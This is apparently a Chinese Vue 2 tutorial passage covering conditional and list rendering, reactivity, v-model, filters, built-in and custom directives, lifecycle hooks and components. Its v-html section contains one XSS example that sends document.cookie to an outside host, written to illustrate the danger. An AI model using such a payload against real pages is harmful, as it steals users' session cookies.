写法:①v-if="表达式" ②v-else-if="表达式"③v-else="表达式" 适用于:切换频率较低的场景 特点:不展示的DOM元素直接被移除

注意:v-if可以和v-else-if、v-else一起使用,但要求结构不能被“打断”

v-show指令

写法:v-show="表达式" 适用于:切换频率较高的场景。 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉

注意:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到

示例代码

<body>
    <div id="root">
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
        <!-- 使用v-show做条件渲染 -->
        <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
        <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

        <!-- 使用v-if做条件渲染 -->
        <!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
        <!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

        <!-- v-else和v-else-if -->
        <!-- <div v-if="n === 1">Angular</div>
        <div v-else-if="n === 2">React</div>
        <div v-else-if="n === 3">Vue</div>
        <div v-else>哈哈</div> -->

        <!-- v-if与template的配合使用 -->
        <template v-if="n === 1">
            <h2>你好</h2>
        <h2>尚硅谷</h2>
        <h2>北京</h2>
        </template>
	</div>
</body>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

# 12. 列表渲染

# 12.1 v-for渲染基本列表

  1. v-for指令用于展示列表数据
  2. 语法:v-for="(item, index) in xxx" :key="yyy"
  3. 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)

示例代码

<body>
    <div id="root">
        <!-- 遍历数组 -->
        <h2>人员列表(遍历数组)</h2>
        <ul>
            <li v-for="(p,index) of persons" :key="index">
            	{{p.name}}-{{p.age}}
            </li>
        </ul>

        <!-- 遍历对象 -->
        <h2>汽车信息(遍历对象)</h2>
        <ul>
            <li v-for="(value,k) of car" :key="k">
            	{{k}}-{{value}}
            </li>
        </ul>

        <!-- 遍历字符串 -->
        <h2>测试遍历字符串(用得少)</h2>
        <ul>
            <li v-for="(char,index) of str" :key="index">
            	{{char}}-{{index}}
            </li>
        </ul>

        <!-- 遍历指定次数 -->
        <h2>测试遍历指定次数(用得少)</h2>
        <ul>
            <li v-for="(number,index) of 5" :key="index">
            	{{index}}-{{number}}
            </li>
        </ul>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el:'#root',
            data:{
                persons:[
                    {id:'001',name:'张三',age:18},
                    {id:'002',name:'李四',age:19},
                    {id:'003',name:'王五',age:20}
                ],
                car:{
                    name:'奥迪A8',
                    price:'70万',
                    color:'黑色'
                },
                str:'hello'
            }
        })
    </script>
</body>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

# 12.2 key的原理

面试题:react、vue中的key有什么作用?(key的内部原理)

虚拟DOM中key的作用: key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较。

比较规则如下:

旧虚拟DOM中是否找到了与新虚拟DOM相同的key? 下一步
是 ①若虚拟DOM中内容没变, 直接使用之前的真实DOM
②若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM
否 创建新的真实DOM,随后渲染到到页面

# 用index作为key可能会引发的问题?

  1. 若对数据进行逆序添加、逆序删除等破坏顺序操作,会产生无必要的真实DOM更新 ==> 界面效果没问题, 但效率低
  2. 如果结构中还包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题

# 开发中如何选择key?

  1. 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值
  2. 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的

# 12.3 列表过滤&排序

示例代码

<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>人员列表</h2>
		<input type="text" placeholder="请输入名字" v-model="keyWord">
    	<button @click="sortType = 2">年龄升序</button>
		<button @click="sortType = 1">年龄降序</button>
		<button @click="sortType = 0">原顺序</button>
        <ul>
            <li v-for="(p,index) of filPerons" :key="p.id">
                {{p.name}}-{{p.age}}-{{p.sex}}
                <input type="text">
            </li>
        </ul>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            keyWord:'',
            sortType:0, //0原顺序 1降序 2升序
            persons:[
                {id:'001',name:'马冬梅',age:30,sex:'女'},
                {id:'002',name:'周冬雨',age:31,sex:'女'},
                {id:'003',name:'周杰伦',age:18,sex:'男'},
                {id:'004',name:'温兆伦',age:19,sex:'男'}
            ]
        },
        computed:{
            filPerons(){
                const arr = this.persons.filter((p)=>{
                    return p.name.indexOf(this.keyWord) !== -1
                })
                //判断一下是否需要排序
                if(this.sortType){
                    arr.sort((p1,p2)=>{
                        return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
                    })
                }
                return arr
            }
        }
    })

</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

# 13. 数据监测

Vue监视数据的原理:Vue会监视data属性中所有层次的数据

目标:data属性中所有层次的数据都得是响应式的(即数据变化后自动更新视图),包括对象/数组,以及这二者内部所有层次的数据

# 13.1 Vue.set() 和 vm.$set()

问题:当生成Vue实例后,后续再次给data属性中的对象属性重新赋值时,有时候并不会自动更新到视图上去

原因:如果在Vue实例创建之后添加新的属性到实例上,它不会触发视图更新。受 ES5 的限制,Vue不能检测到对象属性的添加或删除。因为 Vue.js 在初始化实例时将属性转为 getter/setter,所以属性必须在 data 对象上才能让 Vue.js 转换它,才能让它是响应式的。

解决方法

  1. 使用Vue.set(object, propertyName, value)或vm.$set(object, propertyName, value) 方法向嵌套对象添加响应式属性
  2. 这两个api的实现原理基本一模一样,底层都是使用了set函数
  3. 区别在于Vue.set()是将set函数绑定在Vue构造函数上,this.$set()是将set函数绑定在Vue原型上

注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性

示例代码

<body>
    <div id="root">
        <h1>学校信息</h1>
        <h2>学校名称:{{school.name}}</h2>
        <h2>学校地址:{{school.address}}</h2>
        <h2>校长是:{{school.leader}}</h2>
        <hr/>
        <h1>学生信息</h1>
        <button @click="addSex">添加一个性别属性,默认值是男</button>
        <h2>姓名:{{student.name}}</h2>
        <h2 v-if="student.sex">性别:{{student.sex}}</h2>
        <h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
        <h2>朋友们</h2>
        <ul>
            <li v-for="(f,index) in student.friends" :key="index">
                {{f.name}}--{{f.age}}
            </li>
        </ul>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            school:{
                name:'尚硅谷',
                address:'北京',
            },
            student:{
                name:'tom',
                age:{
                    rAge:40,
                    sAge:29,
                },
                friends:[
                    {name:'jerry',age:35},
                    {name:'tony',age:36}
                ]
            }
        },
        methods: {
            addSex(){
                // Vue.set(this.student,'sex','男')
                this.$set(this.student,'sex','男')
            }
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

# 参考链接

1.Vue.set()和this.$set()介绍 (opens new window)

2.从vue源码解析Vue.set()和this.$set() (opens new window)

# 13.2 Vue监视修改data属性中的对象元素

问:Vue如何监测data属性中对象中的数据?

  1. 通过setter实现监视,且要在new Vue时就传入要监测的数据
  2. 对象中后追加的属性,Vue默认不做响应式处理。如需给后添加的属性做响应式,请使用如下API:Vue.set(target,propertyName/index,value) 或 vm.$set(target,propertyName/index,value)

# 13.3 Vue监视修改data属性中的数组元素

现象:修改数组元素时this.persons[0].name = '马老师'这种语句能奏效,this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'}这种直接通过索引值修改数组里的数据却不能重新解析生成在页面上(虽然控制台输出能看到是改了的),这是为什么?

分析:在Vue中不是靠getter和setter来实现对数组的数据监视的,js中能够改变原数组的方法目前所学就push()、pop()、shift()、unshift()、splice()、sort()、reverse()等七个,故Vue只允许使用这七个方法来监测数组是否发生了改变并重新解析模板。而直接修改数组元素的具体属性值,Vue是可以实现自动监测的。

相关示例代码

<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>人员列表</h2>
<button @click="updateMei">更新马冬梅的信息</button>
<ul>
        <li v-for="(p,index) of persons" :key="p.id">
            {{p.name}}-{{p.age}}-{{p.sex}}
                </li>
</ul>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    const vm = new Vue({
        el:'#root',
        data:{
            persons:[
                {id:'001',name:'马冬梅',age:30,sex:'女'},
                {id:'002',name:'周冬雨',age:31,sex:'女'},
                {id:'003',name:'周杰伦',age:18,sex:'男'},
                {id:'004',name:'温兆伦',age:19,sex:'男'}
            ]
        },
        methods: {
            updateMei(){
                // this.persons[0].name = '马老师' //奏效
                // this.persons[0].age = 50 //奏效
                // this.persons[0].sex = '男' //奏效
                // this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
                this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})
            }
        }
    }) 

</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

# 监测数组元素改变的原理

原理:Vue通过包裹数组更新元素的方法实现,本质就是做了两件事:①调用原生对应的方法对数组进行更新②重新解析模板,进而更新页面

# 修改数组元素的具体方法

使用这些js数组原生API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

使用Vue.set() 或 vm.$set()

# 修改数组元素的内部属性的方法

直接修改数组元素的具体属性值即可

# 13.4 总的示例代码

<body>
    <div id="root">
        <h1>学生信息</h1>
		<button @click="student.age++">年龄+1岁</button> <br/>
    	<button @click="addSex">添加性别属性,默认值:男</button> <br/>
    	<button @click="student.sex = '未知' ">修改性别</button> <br/>
    	<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
    	<button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br/>
    	<button @click="addHobby">添加一个爱好</button> <br/>
    	<button @click="updateHobby">修改第一个爱好为:开车</button> <br/>
    	<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
    	<h3>姓名:{{student.name}}</h3>
        <h3>年龄:{{student.age}}</h3>
        <h3 v-if="student.sex">性别:{{student.sex}}</h3>
        <h3>爱好:</h3>
        <ul>
            <li v-for="(h,index) in student.hobby" :key="index">
                {{h}}
            </li>
        </ul>
		<h3>朋友们:</h3>
		<ul>
        	<li v-for="(f,index) in student.friends" :key="index">
				{{f.name}}--{{f.age}}
            </li>
		</ul>
	</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            student:{
                name:'tom',
                age:18,
                hobby:['抽烟','喝酒','烫头'],
                friends:[
                    {name:'jerry',age:35},
                    {name:'tony',age:36}
                ]
            }
        },
        methods: {
            addSex(){
                // Vue.set(this.student,'sex','男')
                this.$set(this.student,'sex','男')
            },
            addFriend(){
                this.student.friends.unshift({name:'jack',age:70})
            },
            updateFirstFriendName(){
                this.student.friends[0].name = '张三'
            },
            addHobby(){
                this.student.hobby.push('学习')
            },
            updateHobby(){
                // this.student.hobby.splice(0,1,'开车')
                // Vue.set(this.student.hobby,0,'开车')
                this.$set(this.student.hobby,0,'开车')
            },
            removeSmoke(){
                this.student.hobby = this.student.hobby.filter((h)=>{
                    return h !== '抽烟'
                })
            }
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

# 14. 收集表单数据

input标签的类型 v-model收集的值
text 收集的是value值,用户输入的就是value值
radio 收集的是value值,且要给标签配置value值
checkbox 1.若没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2.若配置了input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组

# 14.1 v-model的三个修饰符

修饰符 作用
lazy 失去焦点再收集数据
number 输入字符串转为有效的数字
trim 输入首尾空格过滤

相关示例代码

<body>
    <div id="root">
        <form @submit.prevent="demo">
        	账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
            密码:<input type="password" v-model="userInfo.password"> <br/><br/>
            年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
            性别:
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
    			女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> 
            <br/><br/>
        	爱好:
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
    			打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
        		吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
            <br/><br/>
            所属校区
                <select v-model="userInfo.city">
                    <option value="">请选择校区</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="shenzhen">深圳</option>
                <option value="wuhan">武汉</option>
                </select>
                <br/><br/>
    		其他信息:
			<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
    		<input type="checkbox" v-model="userInfo.agree">阅读并接受<a 			href="http://www.atguigu.com">《用户协议》</a>
			<button>提交</button>
		</form>
	</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            userInfo:{
                account:'',
                password:'',
                age:18,
                sex:'female',
                hobby:[],
                city:'beijing',
                other:'',
                agree:''
            }
        },
        methods: {
            demo(){
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

# 15. 过滤器(filter)

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

语法

1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}

2.使用过滤器: 或 v-bind:属性 = "xxx | 过滤器名"

注意

  1. 过滤器应该被添加在 JavaScript 表达式的尾部,由“管道”符号指示
  2. 过滤器是js函数,总是接收表达式的值 (之前的操作链的结果) 作为第一个参数
  3. 过滤器也可以接收额外参数(依次作为第二、第三个...参数)
  4. 多个过滤器也可以串联,使用管道符分隔开,前一个过滤器产生的结果作为后一个过滤器的参数
  5. 过滤器并没有改变原本的数据, 是产生新的对应的数据

# 参考链接

过滤器-Vue.js官网 (opens new window)

示例代码

<body>
    <div id="root">
        <h2>显示格式化后的时间</h2>
        <!-- 计算属性实现 -->
        <h3>现在是:{{fmtTime}}</h3>
        <!-- methods实现 -->
        <h3>现在是:{{getFmtTime()}}</h3>
        <!-- 过滤器实现 -->
        <h3>现在是:{{time | timeFormater}}</h3>
        <!-- 过滤器实现(传参) -->
        <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
        <h3 :x="msg | mySlice">尚硅谷</h3>
    </div>

    <div id="root2">
        <h2>{{msg | mySlice}}</h2>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false
    //全局过滤器
    Vue.filter('mySlice',function(value){
        return value.slice(0,4)
    })

    new Vue({
        el:'#root',
        data:{
            time:1621561377603, //时间戳
            msg:'你好,尚硅谷'
        },
        computed: {
            fmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        methods: {
            getFmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        //局部过滤器
        filters:{
            timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
                // console.log('@',value)
                return dayjs(value).format(str)
            }
        }
    })

    new Vue({
        el:'#root2',
        data:{
            msg:'hello,atguigu!'
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

# 16. 内置指令

# 16.1 回顾学过的Vue指令

指令 作用
v-bind 单向绑定解析表达式, 可简写为 :xxx
v-model 双向数据绑定
v-for 遍历数组/对象/字符串
v-on 绑定事件监听, 可简写为@
v-if / v-else-if / v-else 条件渲染(动态控制节点是否存存在)
v-show 条件渲染 (动态控制节点是否展示)

下面介绍5个新的vue指令

# 16.2 v-text指令

作用:向其所在的节点中渲染文本内容

语法:v-text="字符串或data内的属性"

与插值语法的区别:v-text指令会替换掉节点中的内容,插值语法则不会

示例代码

<body>
    <div id="root">
        <div>你好,{{name}}</div>
		<div v-text="name"></div>
		<div v-text="str"></div>
	</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el:'#root',
        data:{
            name:'尚硅谷',
            str:'<h3>你好啊!</h3>'
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# 16.2 v-html指令

作用:向指定节点中渲染包含html结构的内容。

与插值语法的区别

  1. v-html会替换掉节点中所有的内容,则不会。
  2. v-html可以识别html结构

# 注意事项

v-html有安全性问题!!在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击;一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上使用该指令

示例代码

<body>
    <div id="root">
        <div>你好,{{name}}</div>
		<div v-html="str"></div>
		<div v-html="str2"></div>
	</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el:'#root',
        data:{
            name:'尚硅谷',
            str:'<h3>你好啊!</h3>',
            //xss攻击示例
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# 16.3 v-cloak指令

  1. v-cloak指令没有值
  2. 其本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
  3. 使用css配合v-cloak指令可以解决网速慢时页面展示出的问题,即css设置具有v-cloak属性的标签从文档流中消失,而Vue实例接管容器的瞬间再把该属性删掉,从而相关标签可以正常显示

示例代码

<html>
    <head>
    <meta charset="UTF-8" />
    <title>v-cloak指令</title>
    <style>
        //选中标签里所有有v-cloak属性的元素
        [v-cloak]{
        	display:none;
        }
    </style>
    </head>
    <body>
        <div id="root">
            <h2 v-cloak>{{name}}</h2>
        </div>
        //使Vue框架相关资源延迟5s再加载
        <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                name:'尚硅谷'
            }
        })
    </script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# 16.4 v-once指令

  1. v-once所在节点在初次动态渲染后,就被Vue视为静态内容了
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

示例代码

<body>
    <div id="root">
    	<h2 v-once>初始化的n值是:{{n}}</h2>
		<h2>当前的n值是:{{n}}</h2>
		<button @click="n++">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# 16.5 v-pre指令

  1. 跳过其所在节点的编译过程
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译速度

示例代码

<body>
    <div id="root">
        <h2 v-pre>Vue其实很简单</h2>
		<h2 >当前的n值是:{{n}}</h2>
		<button @click="n++">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# 17. 自定义指令

一、语法

(1)局部指令

①new Vue({ directives:{指令名:配置对象} })

②new Vue({ directives{指令名:回调函数} })

(2).全局指令:

Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调

回调函数 调用时机
bind 指令与元素成功绑定时调用
inserted 指令所在元素被插入页面时调用
update 指令所在模板结构被重新解析时调用

注意

  1. 指令定义时不加v-,但使用时要加v-
  2. 指令名如果是多个单词,要使用kebab-case(短横线)命名方式,不要用camelCase(驼峰)命名

示例代码

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍

需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点

<body>
	<div id="root">
        <h2>{{name}}</h2>
        <h2>当前的n值是:<span v-text="n"></span> </h2>
        <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
        <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
            <button @click="n++">点我n+1</button>
        <hr/>
        <input type="text" v-fbind:value="n">
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false

	//定义全局指令
	/* Vue.directive('fbind',{
			//指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
	}) */

    new Vue({
        el:'#root',
        data:{
            name:'尚硅谷',
            n:1
        },
        directives:{
            //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
            /* 'big-number'(element,binding){
               		// console.log('big')
                    element.innerText = binding.value * 10
            }, */
            big(element,binding){
                console.log('big',this) //注意此处的this是window
                // console.log('big')
                element.innerText = binding.value * 10
            },
            fbind:{
                //指令与元素成功绑定时(一上来)
                bind(element,binding){
                    element.value = binding.value
                },
                //指令所在元素被插入页面时
                inserted(element,binding){
                    element.focus()
                },
                //指令所在的模板被重新解析时
                update(element,binding){
                    element.value = binding.value
                }
            }
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

# 18. 生命周期

  1. 又名:生命周期回调函数、生命周期函数、生命周期钩子
  2. 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
  3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
  4. 生命周期函数中的this指向vm 或 组件实例对象

# 18.1 常用的生命周期钩子

  1. mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
  2. beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】

# 18.2 关于销毁Vue实例

  1. 销毁后借助Vue开发者工具看不到任何信息。
  2. 销毁后自定义事件会失效,但原生DOM事件依然有效。
  3. 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了

# 18.3 生命周期各阶段详解图

参考链接

Vue最全11个生命周期钩子函数 (opens new window)

生命周期

示例代码

<body>
    <div id="root">
        <h2 :style="{opacity}">欢迎学习Vue</h2>
		<button @click="opacity = 1">透明度设置为1</button>
		<button @click="stop">点我停止变换</button>
	</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el:'#root',
        data:{
            opacity:1
        },
        methods: {
            stop(){
                this.$destroy()
            }
        },
        //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
        mounted(){
            console.log('mounted',this)
            this.timer = setInterval(() => {
                console.log('setInterval')
                this.opacity -= 0.01
                if(this.opacity <= 0) this.opacity = 1
            },16)
        },
        beforeDestroy() {
            clearInterval(this.timer)
            console.log('vm即将驾鹤西游了')
        },
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# 19. 组件与模块

# 19.1 组件

  1. 理解: 用来实现局部(特定)功能效果的代码集合(html/css/js/image…..)
  2. 为什么: 一个界面的功能很复杂
  3. 作用: 复用编码, 简化项目编码, 提高运行效率

当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用

# 19.2 模块

  1. 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件
  2. 为什么: js 文件很多很复杂
  3. 作用: 复用js, 简化 js 的编写, 提高 js 运行效率

当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用

# 20. 非单文件组件

# 20.1 非单文件组件的缺点

  1. 模板编写没有提示
  2. 没有构建过程, 无法将 ES6转换成 ES5
  3. 不支持单文件组件封装好的style标签,违背了组件作为**局部功能代码集合**的初衷
  4. 真正开发中几乎不用

# 20.2 组件的基本使用

Vue中使用组件的三大步骤:①定义组件(创建组件) ②注册组件 ③使用组件(写组件标签)

# 定义组件注意事项

使用Vue.extend(options)创建组件实例vc并用变量接收,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别

区别

  1. el属性不要写,最终所有的组件都要经过一个Vue实例对象vm的管理,由vm中的el决定服务于哪个容器
  2. data属性必须写成函数形式,返回值为一个对象。避免组件被复用时,数据存在引用关系

注意

使用template配置项可以配置组件结构,但使用该标签时模板里必须有根元素,一般就是div充当这个容器元素。说白了<template>标签只是对代码进行一个分隔,最后生成页面的时候这个标签是要被去掉的,这时里面的内容没有根元素的话,Vue不知道该把里面具体哪个标签充当结构部分的入口

参考:vue要求组件模板只有一个根元素的原因 (opens new window)

# 注册组件的方法

  1. 局部注册:new Vue的时候传入components选项
  2. 全局注册:Vue.component('组件名',组件)

# 示例代码

<body>
    <div id="root">
        <hello></hello>
        <hr>
        <h1>{{msg}}</h1>
        <hr>
        <!-- 第三步:编写组件标签 -->
        <school></school>
        <hr>
        <!-- 第三步:编写组件标签 -->
        <student></student>
    </div>

    <div id="root2">
        <hello></hello>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false

    //第一步:创建school组件
    const school = Vue.extend({
        template:`<div class="demo">
					<h2>学校名称:{{schoolName}}</h2>
					<h2>学校地址:{{address}}</h2>
					<button @click="showName">点我提示学校名</button>	
    			  </div>`,
        // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
        data(){
            return {
                schoolName:'尚硅谷',
                address:'北京昌平'
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    })

    //第一步:创建student组件
    const student = Vue.extend({
        template:`
				<div>
					<h2>学生姓名:{{studentName}}</h2>
					<h2>学生年龄:{{age}}</h2>
    </div>
			`,
        data(){
            return {
                studentName:'张三',
                age:18
            }
        }
    })

    //第一步:创建hello组件
    const hello = Vue.extend({
        template:`
				<div>	
					<h2>你好啊!{{name}}</h2>
    </div>
			`,
        data(){
            return {
                name:'Tom'
            }
        }
    })

    //第二步:全局注册组件
    Vue.component('hello',hello)

    //创建vm
    new Vue({
        el:'#root',
        data:{
            msg:'你好啊!'
        },
        //第二步:注册组件(局部注册)
        components:{
            school,
            student
        }
    })

    new Vue({
        el:'#root2',
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

# 20.3 几个注意点

# 组件名的写法及坑

组件名由一个单词构成时:

首字母形式 例子
小写 school
大写 School

组件名由多个单词构成时:

命名风格 例子 特殊要求
kebab-case命名 my-school
CamelCase命名 MySchool 需要Vue脚手架支持

注意:

  1. 组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行
  2. 可以使用name配置项指定组件在开发者工具中呈现的名字

# 组件标签的写法及坑

  1. <school></school>普通标签形式
  2. <school/>自闭合标签形式

备注:不使用脚手架时,自闭合标签会导致后续组件不能渲染

# 生成组件实例对象的简写方式

const school = Vue.extend(options) 
1

可简写为:

const school = options
1

即直接将配置对象options以字面量的形式写出,后续将该对象传进vm的components属性后,Vue会自动帮我们调用Vue.extend()方法生成一个新的组件实例对象

# 20.4 VueComponent

  1. 组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend方法生成的
  2. 我们只需要使用组件标签(两种写法都行),Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行new VueComponent(options)语句
  3. 每次调用Vue.extend方法,返回的都是一个全新的VueComponent实例对象。前文提到定义组件时data配置项必须写成函数形式,就是因为如果配置的是对象形式,那么每次生成的组件实例全都指向这个唯一的对象,数据会存在复用问题,而写成函数形式的话,Vue底层就类似于使用了工厂模式产出组件实例对象,每个组件实例所用到的数据都是相互独立的

Vue源码中生成组件实例的关键代码示意图

image-20220223172848135

# this指向

  1. 组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是VueComponent实例对象
